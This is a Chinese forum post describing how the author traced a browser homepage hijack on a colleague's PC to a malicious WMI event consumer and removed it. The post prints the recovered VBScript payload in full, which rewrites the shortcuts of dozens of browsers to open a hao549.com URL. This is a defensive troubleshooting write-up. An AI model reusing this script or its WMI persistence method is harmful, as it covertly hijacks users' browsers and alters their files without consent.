查看: 456|回复: 0

解决一个浏览器主页恶意劫持问题（WMI scrcons hao549 h...

签到天数: 27 天

连续签到: 1 天

[LV.4]偶尔看看III

3 主题	25 好友	7698 积分

序章

积分: 7698

发表于 2016-12-13 13:54:54 | 显示全部楼层 |阅读模式

╱人◕‿‿◕人╲定下契约

您需要登录才可以下载或查看，没有账号？╱人◕‿‿◕人╲订下契约（注册新用户）

x

今天公司财务主管突然问我一个浏览器主页被修改的问题说找了网管哥们看过了还是没解决

我过去看了一下财务电脑里除了IE还安装了两个浏览器 UC和360浏览器快捷方式都被添加了hao549的指向

这里赞一下UC浏览器因为是UC浏览器主动弹出主页被恶意修改的提示窗这个问题才被重视起来

同时鄙视一下360安全卫士和金山毒霸，当时财务电脑里这两款软件都正常运行且升级到最新版本结果是完全无用……

好了闲话少叙开始解决问题

经过网络资料搜索看到木子李的Blog提到过类似的问题了原因是通过WMI定时发起的脚本给所有浏览器添加了域名指向

按图索骥下载了WMITool软件点击左上角register for events，弹出Connect to namespace框，填入“root\subscription”

点击左侧_EventFilter:Name="unown_filter"，再至右侧右键点击ActiveScriptEventConsume r Name="unown"，右键选择view instant properties

查看ScriptText项…… 结果…… 结果没有发现文章中那段VBScript…… 到底是什么情况？？？

没办法动用Process Monitor工具追踪了浏览器图标结果发现确实是有脚本打开了scrcons.exe 跟文章中提到的情况雷同看来是别的WMI
最后几番查找，终于在root\CIMV2里面揪出了真凶

缘来是在Consumer in root\CIMV2 -> _EventConsumer -> ActiveScriptEventConsumer下

找到ActiveScriptEventConsumer.Name=”VBScriptKids_consumer”

最后是在ScriptText中找到如下代码：

[mw_shl_code=javascript,false]On Error Resume Next:Const link = "http://hao549.com/?r=v&m=4":Const link360 = "http://hao549.com/?r=v&m=4&s=3":browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe":lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\tiand\Desktop,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\tiand\AppData\Roaming\Microsoft\Windows\Start Menu\Programs":browsersArr = split(browsers,","):Set oDic = CreateObject("scripting.dictionary"):For Each browser In browsersArr:oDic.Add LCase(browser), browser:Next:lnkpathsArr = split(lnkpaths,","):Set oFolders = CreateObject("scripting.dictionary"):For Each lnkpath In lnkpathsArr:oFolders.Add lnkpath, lnkpath:Next:Set fso = CreateObject("Scripting.Filesystemobject"):Set WshShell = CreateObject("Wscript.Shell"):For Each oFolder In oFolders:If fso.FolderExists(oFolder) Then:For Each file In fso.GetFolder(oFolder).Files:If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then:Set oShellLink = WshShell.CreateShortcut(file.Path):path = oShellLink.TargetPath:name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path):If oDic.Exists(LCase(name)) Then:If LCase(name) = LCase("360se.exe") Then:oShellLink.Arguments = link360:Else:oShellLink.Arguments = link:End If:If file.Attributes And 1 Then:file.Attributes = file.Attributes - 1:End If:oShellLink.Save:End If:End If:Next:End If:Next:[/mw_shl_code]

排版后如下：

[mw_shl_code=javascript,true]On Error Resume Next
Const link = "http://hao549.com/?r=v&m=4"
Const link360 = "http://hao549.com/?r=v&m=4&s=3"
browsers = "114ie.exe,115chrome.exe,1616browser.exe,2345chrome.exe,2345explorer.exe,360se.exe,360chrome.exe,,avant.exe,baidubrowser.exe,chgreenbrowser.exe,chrome.exe,firefox.exe,greenbrowser.exe,iexplore.exe,juzi.exe,kbrowser.exe,launcher.exe,liebao.exe,maxthon.exe,niuniubrowser.exe,qqbrowser.exe,sogouexplorer.exe,srie.exe,tango3.exe,theworld.exe,tiantian.exe,twchrome.exe,ucbrowser.exe,webgamegt.exe,xbrowser.exe,xttbrowser.exe,yidian.exe,yyexplorer.exe"

lnkpaths = "C:\Users\Public\Desktop,C:\ProgramData\Microsoft\Windows\Start Menu\Programs,C:\Users\tiand\Desktop,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\StartMenu,C:\Users\tiand\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar,C:\Users\tiand\AppData\Roaming\Microsoft\Windows\Start Menu\Programs"

browsersArr = split(browsers,",")
Set oDic = CreateObject("scripting.dictionary")

For Each browser In browsersArr
  oDic.Add LCase(browser), browser
Next
  lnkpathsArr = split(lnkpaths,",")

  Set oFolders = CreateObject("scripting.dictionary")
  For Each lnkpath In lnkpathsArr
oFolders.Add lnkpath, lnkpath
  Next
Set fso = CreateObject("Scripting.Filesystemobject")
Set WshShell = CreateObject("Wscript.Shell")
For Each oFolder In oFolders
   If fso.FolderExists(oFolder) Then
      For Each file In fso.GetFolder(oFolder).Files
      If LCase(fso.GetExtensionName(file.Path)) = "lnk" Then
         Set oShellLink = WshShell.CreateShortcut(file.Path)
         path = oShellLink.TargetPath
         name = fso.GetBaseName(path) & "." & fso.GetExtensionName(path)
         If oDic.Exists(LCase(name)) Then
            If LCase(name) = LCase("360se.exe") Then
            oShellLink.Arguments = link360
            Else
            oShellLink.Arguments = link
            End If
            If file.Attributes And 1 Then
            file.Attributes = file.Attributes - 1
            End If
            oShellLink.Save
         End If
      End If
   Next
   End If
Next[/mw_shl_code]

呼~终于找到了然后以管理员身份运行WMITool程序（wbemeventviewer.exe）进入root\CIMV2 删除恶意脚本

最后把几个浏览器的快捷方式跳转链接删除问题解决

一个老问题费这么大劲才解决请坛里的大神笑笑就好谢谢大家了

签名被小宅喵吞掉了~~~~(>_<)~~~~

使用道具举报

返回列表

发新帖

合作站点账号登陆

解决一个浏览器主页恶意劫持问题（WMI scrcons hao549 h...

╱人◕‿‿◕人╲定下契约